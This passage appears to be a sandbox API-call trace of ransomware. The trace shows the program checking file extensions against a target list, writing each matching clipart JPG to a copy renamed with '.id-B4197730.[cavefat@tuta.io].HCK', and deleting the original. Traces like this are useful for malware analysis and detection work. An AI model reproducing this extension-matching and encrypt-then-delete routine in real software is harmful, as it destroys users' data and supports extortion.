Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0236.376] lstrlenW (lpString=".1cd") returned 4 [0236.376] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0236.376] lstrlenW (lpString=".jpg") returned 4 [0236.376] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0236.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0236.704] lstrlenW (lpString=".doc") returned 4 [0236.704] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.704] lstrlenW (lpString=".docx") returned 5 [0236.704] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0236.704] lstrlenW (lpString=".pdf") returned 4 [0236.704] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.704] lstrlenW (lpString=".xls") returned 4 [0236.704] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.704] lstrlenW (lpString=".xlsx") returned 5 [0236.704] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0236.704] lstrlenW (lpString=".ppt") returned 4 [0236.704] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0236.704] lstrlenW (lpString=".zip") returned 4 [0236.704] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.704] lstrlenW (lpString=".rar") returned 4 [0236.704] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.704] lstrlenW (lpString=".bz2") returned 4 [0236.704] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.704] lstrlenW (lpString=".7z") returned 3 [0236.705] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0236.705] lstrlenW (lpString=".dbf") returned 4 [0236.705] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0236.705] lstrlenW (lpString=".1cd") returned 4 [0236.705] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145669.JPG") returned 68 [0236.705] lstrlenW (lpString=".jpg") returned 4 [0236.705] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.705] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.705] lstrlenW (lpString="J0148798.JPG") returned 12 [0236.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0236.706] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=38237) returned 1 [0236.706] CloseHandle (hObject=0x560) returned 1 [0236.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 0x220 [0236.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0236.706] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.706] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0236.709] GetLastError () returned 0x0 [0236.709] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x955d, lpOverlapped=0x0) returned 1 [0236.711] WriteFile (in: hFile=0x564, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x9560, lpOverlapped=0x0) returned 1 [0236.712] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0236.712] WriteFile (in: hFile=0x564, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0236.712] SetEndOfFile (hFile=0x564) returned 1 [0236.712] CloseHandle (hObject=0x564) returned 1 [0236.712] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.713] SetEndOfFile (hFile=0x560) returned 1 [0236.716] CloseHandle (hObject=0x560) returned 1 [0236.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg")) returned 1 [0236.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0236.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0236.717] lstrlenW (lpString=".doc") returned 4 [0236.717] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.717] lstrlenW (lpString=".docx") returned 5 [0236.717] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0236.717] lstrlenW (lpString=".pdf") returned 4 [0236.717] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.717] lstrlenW (lpString=".xls") returned 4 [0236.717] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.717] lstrlenW (lpString=".xlsx") returned 5 [0236.717] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0236.717] lstrlenW (lpString=".ppt") returned 4 [0236.717] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0236.717] lstrlenW (lpString=".zip") returned 4 [0236.717] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.717] lstrlenW (lpString=".rar") returned 4 [0236.717] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.717] lstrlenW (lpString=".bz2") returned 4 [0236.717] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.717] lstrlenW (lpString=".7z") returned 3 [0236.717] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0236.718] lstrlenW (lpString=".dbf") returned 4 [0236.718] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0236.718] lstrlenW (lpString=".1cd") returned 4 [0236.718] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0236.718] lstrlenW (lpString=".jpg") returned 4 [0236.718] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0236.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0236.718] lstrlenW (lpString=".doc") returned 4 [0236.718] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.718] lstrlenW (lpString=".docx") returned 5 [0236.718] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0236.718] lstrlenW (lpString=".pdf") returned 4 [0236.718] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.718] lstrlenW (lpString=".xls") returned 4 [0236.718] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.718] lstrlenW (lpString=".xlsx") returned 5 [0236.718] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0236.718] lstrlenW (lpString=".ppt") returned 4 [0236.718] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0236.718] lstrlenW (lpString=".zip") returned 4 [0236.718] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.718] lstrlenW (lpString=".rar") returned 4 [0236.718] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.718] lstrlenW (lpString=".bz2") returned 4 [0236.718] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.718] lstrlenW (lpString=".7z") returned 3 [0236.718] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0236.718] lstrlenW (lpString=".dbf") returned 4 [0236.718] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0236.718] lstrlenW (lpString=".1cd") returned 4 [0236.718] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68 [0236.719] lstrlenW (lpString=".jpg") returned 4 [0236.719] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.719] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.719] lstrlenW (lpString="J0149018.JPG") returned 12 [0236.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0236.720] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=27393) returned 1 [0236.720] CloseHandle (hObject=0x560) returned 1 [0236.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 0x220 [0236.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0236.721] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.721] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0236.721] GetLastError () returned 0x0 [0236.721] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x6b01, lpOverlapped=0x0) returned 1 [0236.724] WriteFile (in: hFile=0x564, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x6b10, lpOverlapped=0x0) returned 1 [0236.725] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0236.725] WriteFile (in: hFile=0x564, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0236.725] SetEndOfFile (hFile=0x564) returned 1 [0236.725] CloseHandle (hObject=0x564) returned 1 [0236.725] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.725] SetEndOfFile (hFile=0x560) returned 1 [0236.727] CloseHandle (hObject=0x560) returned 1 [0236.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0236.728] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 1 [0236.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0236.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0236.729] lstrlenW (lpString=".doc") returned 4 [0236.729] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.729] lstrlenW (lpString=".docx") returned 5 [0236.729] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0236.729] lstrlenW (lpString=".pdf") returned 4 [0236.729] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.729] lstrlenW (lpString=".xls") returned 4 [0236.729] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.729] lstrlenW (lpString=".xlsx") returned 5 [0236.729] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0236.729] lstrlenW (lpString=".ppt") returned 4 [0236.729] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0236.729] lstrlenW (lpString=".zip") returned 4 [0236.729] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.729] lstrlenW (lpString=".rar") returned 4 [0236.729] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.729] lstrlenW (lpString=".bz2") returned 4 [0236.729] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.729] lstrlenW (lpString=".7z") returned 3 [0236.729] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0236.729] lstrlenW (lpString=".dbf") returned 4 [0236.729] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0236.729] lstrlenW (lpString=".1cd") returned 4 [0236.729] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0236.729] lstrlenW (lpString=".jpg") returned 4 [0236.729] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0236.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0236.729] lstrlenW (lpString=".doc") returned 4 [0236.729] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0236.729] lstrlenW (lpString=".docx") returned 5 [0236.729] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0236.729] lstrlenW (lpString=".pdf") returned 4 [0236.729] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0236.729] lstrlenW (lpString=".xls") returned 4 [0236.729] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0236.729] lstrlenW (lpString=".xlsx") returned 5 [0236.730] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0236.730] lstrlenW (lpString=".ppt") returned 4 [0236.730] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0236.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0236.730] lstrlenW (lpString=".zip") returned 4 [0236.730] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0236.730] lstrlenW (lpString=".rar") returned 4 [0236.730] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0236.730] lstrlenW (lpString=".bz2") returned 4 [0236.730] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0236.730] lstrlenW (lpString=".7z") returned 3 [0236.730] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0236.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0236.730] lstrlenW (lpString=".dbf") returned 4 [0236.730] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0236.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0236.730] lstrlenW (lpString=".1cd") returned 4 [0236.730] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0236.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0236.730] lstrlenW (lpString=".jpg") returned 4 [0236.730] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0236.730] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0236.730] lstrlenW (lpString="J0149118.JPG") returned 12 [0236.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0236.731] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=64802) returned 1 [0236.731] CloseHandle (hObject=0x560) returned 1 [0236.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 0x220 [0236.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0236.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0236.732] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.732] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0236.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0236.734] GetLastError () returned 0x0 [0236.734] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0xfd22, lpOverlapped=0x0) returned 1 [0236.738] WriteFile (in: hFile=0x564, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xfd30, lpOverlapped=0x0) returned 1 [0237.052] ReadFile (in: hFile=0x560, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0237.052] WriteFile (in: hFile=0x564, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0237.052] SetEndOfFile (hFile=0x564) returned 1 [0237.052] CloseHandle (hObject=0x564) returned 1 [0237.052] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.053] SetEndOfFile (hFile=0x560) returned 1 [0237.055] CloseHandle (hObject=0x560) returned 1 [0237.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 1 [0237.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0237.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0237.057] lstrlenW (lpString=".doc") returned 4 [0237.057] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0237.057] lstrlenW (lpString=".docx") returned 5 [0237.057] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0237.057] lstrlenW (lpString=".pdf") returned 4 [0237.057] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0237.057] lstrlenW (lpString=".xls") returned 4 [0237.057] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0237.057] lstrlenW (lpString=".xlsx") returned 5 [0237.057] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0237.057] lstrlenW (lpString=".ppt") returned 4 [0237.057] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0237.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0237.057] lstrlenW (lpString=".zip") returned 4 [0237.057] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0237.057] lstrlenW (lpString=".rar") returned 4 [0237.057] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0237.057] lstrlenW (lpString=".bz2") returned 4 [0237.057] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0237.057] lstrlenW (lpString=".7z") returned 3 [0237.057] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0237.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0237.057] lstrlenW (lpString=".dbf") returned 4 [0237.057] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0237.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0237.057] lstrlenW (lpString=".1cd") returned 4 [0237.057] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0237.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0237.057] lstrlenW (lpString=".jpg") returned 4 [0237.057] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0237.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0237.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0237.057] 